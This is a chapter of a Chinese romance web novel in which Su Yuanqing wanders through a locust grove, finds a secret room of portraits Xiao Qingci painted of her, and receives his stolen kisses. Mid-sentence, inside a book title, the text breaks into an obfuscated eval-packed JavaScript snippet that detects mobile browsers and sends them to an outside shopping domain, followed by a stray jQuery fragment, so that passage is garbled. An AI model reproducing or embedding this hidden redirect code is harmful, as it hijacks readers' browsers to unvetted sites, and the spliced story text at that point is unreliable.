此时天色已晚,夜深如墨,银月皎皎。
清风拂动着高大的槐树,三两轻薄槐叶坠在枝条,透着月光缓缓轻晃,又被风吹得飘摇,轻轻落入静谧的月色里。
月华似水,轻巧地穿过层层槐叶的间隙,落在那树下立着的两人身上。
苏沅卿手上执着槐枝,轻巧地拨弄着萧清辞衣襟上落着的槐叶,歪头对他轻笑,眸中映着细碎星光,清灵澄澈。
见萧清辞垂首敛眸,半天都未言语,她唇角噙笑,用槐枝挑起萧清辞的下巴,戏谑问道:“怎么,殿下方才不是还很能说么?”
“现在怎么连句话都说不出了?”
萧清辞逆着月光站在她的身前,半束的墨发被清风吹动起两缕,一张俊颜掩在漆黑夜空下,叫人瞧不清他面上的神色。
倏忽,他唇角轻勾,长指攥住槐枝的一端,使力一拉。
苏沅卿还未反应过来,手上的槐枝便被萧清辞的力道拉了过去,连带着握着槐枝的她,也猛地落入他的怀中,被他的左臂环住细腰,动弹不得。
萧清辞垂眸,瞧见怀中姑娘瞬间便泛起微红的耳根,不由得轻笑一声。
搭在苏沅卿腰间的指节微微攥紧,萧清辞伸出右手轻抚了下她的耳根,微凉的指尖触及那一片殷红,霎时便泛起了一阵战栗。
苏沅卿反应过来,手上的槐枝忽地一落。
热意顺着她的耳根蔓延到面上,不过多时便是满脸通红,她推着萧清辞,声音颤抖地轻斥道:“萧……萧清辞!”
萧清辞指节微蜷,将苏沅卿抱得更紧了些。
他俯身凑到苏沅卿的耳边,眸间染笑,声音缱绻:“卿卿便是那个高人。”
“只要你站在这里,我便情难自禁,忍不住想靠近你。”
苏沅卿闻言微愣。
她的手还是方才那般推拒的姿势,莹白的指节覆在萧清辞的心口。
独属于萧清辞的冷竹香气萦绕在苏沅卿的鼻尖,她被萧清辞抱在怀里,耳旁是他的声音,手下是他的心跳。
刹那间,万籁皆寂,心跳震颤。
这方天地甚为静谧,里头的侍从早早地便被萧清辞赶了个干净。苏相容一走,这整个藏卿阁里,就只有他们二人。
明月笼罩下,几缕晚风轻拂,参天的槐树颤抖着枝叶,漫天青叶自天而落,裹着细碎的轻响,落在两人身上。
苏沅卿和萧清辞紧紧抱在一起,衣袂和墨发在清风中交织着。
“砰砰”的心跳声在两人耳边响起,清风明月下,竟是不知,究竟是谁先动了春心。
忽地,苏沅卿感觉自己的侧脸覆上了两瓣微凉。
她猛地推了下萧清辞,一双杏眸微微瞪大,伸手捂着萧清辞方才偷吻过的地方,快步跑离了这处槐林。
萧清辞被她推得后退了两步,整个人的身形还停留在方才侧首吻她时的样子。
不过几息,萧清辞倏忽轻笑一声,拂袖立起身来,瞧向她仓皇逃跑的方向,眼底潋滟起灼灼光华。
我感觉到了——
你心悦我,卿卿。
你的心跳,跟我的一样热烈。
这边,苏沅卿快步朝前走着,一边羞恼地用手搓着方才萧清辞方才吻过的地方,一边小声地骂他:
“不要脸!”
“光天化日,他经过我同意了吗?!”
“先前那次他喝醉酒便罢了,这次……这次……混蛋!”
“萧清辞这个家伙比小时候还要讨厌!”
……
苏沅卿红着脸朝前走着,满脑子都是方才萧清辞说的那一番话,还有那忽地凑上来的那一抹冷竹清香。
她没有方向地在这槐林里走着,不知过了多久,才有些疑惑地顿下脚步。
这是哪里?
苏沅卿方才一时情急,推开萧清辞就往外走着,也没心思看方向,只是一边骂着一边走了许久。
此时忽地一看,她竟是走了这般久,都没走出去这片槐林吗?
罢了,先试着走看看吧。
苏沅卿放慢脚步,一边折了根槐枝在地上画了记号,一边摸索着朝着月亮的方向走去。
约莫过了一盏茶的光景,层层槐树退至身后,待苏沅卿穿过最后两棵槐树,映入眼帘的,便是一处隐在这藏卿阁中的院落。
这院落四周青槐环绕,前头的空地里还种着些不同种类的鹅黄小花,娇嫩的花瓣映着天上的明月,半遮半掩间,竟是与她那云倾苑前处种着的那些近乎一致。
苏沅卿有些犹疑地踏进院里,迎着月色走至屋前,推开了房门。
珠帘帐幔、床柜摆件、衣裙首饰……竟是都与她云倾苑中的一般无二。
苏沅卿一间房一间房地看着,越看便越是惊诧。
萧清辞竟是对她的云倾苑这般了解?她院中的侍女暗卫都是娘亲自挑来给她的,绝不会有他的眼线,青柳虽然原先是他的人,但瞧着这处院落的模样,定是建造已久。
寻常人来查探,元亭他们不会没有发觉。
能在丞相府诸多高手的眼皮子底下肆意进出,还能将她院子里的东西全都记住复刻一遍,便是萧凌也绝无可能。
那便只有……
萧清辞。
思及此,苏沅卿蹙眉顿下了脚步。
在三月之前,他们二人分明还水火不容,不曾想,他竟是一直都在偷偷翻墙进丞相府见她吗?
苏沅卿打量着这屋内四周,忽地瞧见那尽处有一个摆饰,虽是不甚起眼,但这屋子跟她的卧房一般无二,她一眼便能瞧见那一处不同。
她快步走上前去,倾身打量了一下那个摆件。
那摆件就立在床边不远处,顶上用上好的银丝做成了镂空的弯月模样,在那月亮怀中,是一朵鹅黄色的小花,花蕊处有一个小洞。
苏沅卿见着那小洞,忽地想起了什么。
她伸出手去,从头上取下了一根白玉桃花簪,然后将它放在那小洞中,轻轻按了按。
“砰——”
刹那间,墙面分成两半,一线洞开,露出了一个暗室。
“机关术?”
苏沅卿的目光在这墙面和摆件处逡巡了会儿,倏忽便笑了出来:“这家伙,冯家人的机关术独步天下,竟是被他霍霍在这处。”
她笑着取下摆件中的簪子,抬步走入了那暗室之中。
暗室虽暗,却因得四处墙壁内都镶嵌着夜明珠,倒是与外处无甚区别。
苏沅卿朝前走着,待瞧见一个拐角,便转身踏了进去。
映入眼帘的,是层层叠叠的画卷,瞧着有上千幅。
所有的画像上,都有一位姑娘,自幼时到少时,从稚嫩可爱到明媚张扬,这些画卷里将她所有的模样都揽了进去。
挂在最中间的,是两幅仅有的双人图卷。
一幅是他们幼时在御花园时的模样,萧清辞容色冷清地看着《治国策
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262706|148976||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
》,她则是托着腮坐在石椅上,歪头笑靥如花的看着他。
一幅是他那日眼尾垂泪地靠在亭柱上,怀里揽着她小心翼翼地亲吻,她则是愣愣地瞪大眼睛,耳根和脸颊都泛着可疑的殷红。
“萧清辞……”
苏沅卿走上前去,抚了抚那画卷上的雪衣公子,无奈地喃喃道:“你叫我该如何是好啊……”
“卿卿只要站在这里便好。”
萧清辞的声音自她身后传来,苏沅卿回首,便瞧见萧清辞自那暗室的另一头走来,眉眼噙笑,公子无双。
萧清辞走到苏沅卿身前,将她手中的簪子拿了出来,重新簪回了她的发间,微垂的眼眸温柔地看着她:
“只要你站在这儿,我就会走向你。”
“小清公子不知道郡主的好,是他蠢笨,萧清辞不一样。”
“我心悦你,从很久很久之前,就心悦你。”
“我……”
苏沅卿愣在原地,不知该如何回答他。
萧清辞见她似是有些为难,便俯身在她耳边轻声道了句:“相容公子好像在外头等了许久了。”
苏沅卿闻言,倏忽便想起了自己还苦哈哈地待在马车里等她的弟弟,对着萧清辞道了句“快走”,便匆匆离开暗室。
萧清辞轻笑一声,也跟着苏沅卿一起出了这处。
自暗室尽头出去,就是萧清辞的书房。
苏沅卿被萧清辞领着出去,没过一会儿便到了府门口。
太子府门口,一个毛茸茸的脑袋探出了马车的窗户,双手无聊地扒着马车里的帘子把玩。
待瞧见苏沅卿匆匆走出来,苏相容瘪了瘪嘴,委屈唤道:“阿姐……你怎么才出来?我等了你好久……”
苏沅卿垂首未言,敛着眸子上了马车。
她对着外头坐着的元亭轻唤了句:“元亭,回府。”
“是,郡主。”
就在元亭准备驾车离开的时候,萧清辞曲指敲了敲苏沅卿那边的马车车壁。
苏沅卿躲着他的视线,萧清辞便启唇笑着唤道:“卿……”
“别叫!”
苏沅卿感受到身旁的苏相容传来的戏谑目光,面上染着微红,探出头去瞧向窗外笑得潋滟的萧清辞,低声问道:“你要作何?”
萧清辞笑着凑近她,似是想要附在她耳边说些什么。
苏沅卿见状,也倾了倾身子靠向他,免得他又说些奇怪的话,倒让相容看她的笑话。
就在苏沅卿侧耳想听萧清辞说话时,萧清辞唇角轻勾,掀起马车窗前的布帘,薄唇覆上苏沅卿的唇瓣,蜻蜓点水般得偷吻了一瞬。
苏沅卿恼怒地推开他,咬牙道:“萧清辞!”
萧清辞点点头,桃花眸中漾起一丝坏笑:“我在。”
苏沅卿瞪了他一眼,随即便把布帘拉下,对着元亭唤道:“元亭,回府!!”
“是,郡主。”
元亭的声音里似是带了些微不可察的笑意,苏相容围观了刚刚的全过程,也起哄着唤道:“元亭元亭,快些驾车啊!要是再不回府,阿姐的脸就要红成相思花咯!”
“苏相容!”
伴着苏相容的一声惨叫,马车缓缓驶去,在太子府门前留下两道浅浅的车辙。
萧清辞立在月下,雪衣金冠,翩翩若仙。
修长的指节抚上薄唇,他看向马车离去的方向,眼底笑意潋滟:“卿卿,我们很快就会再见的。”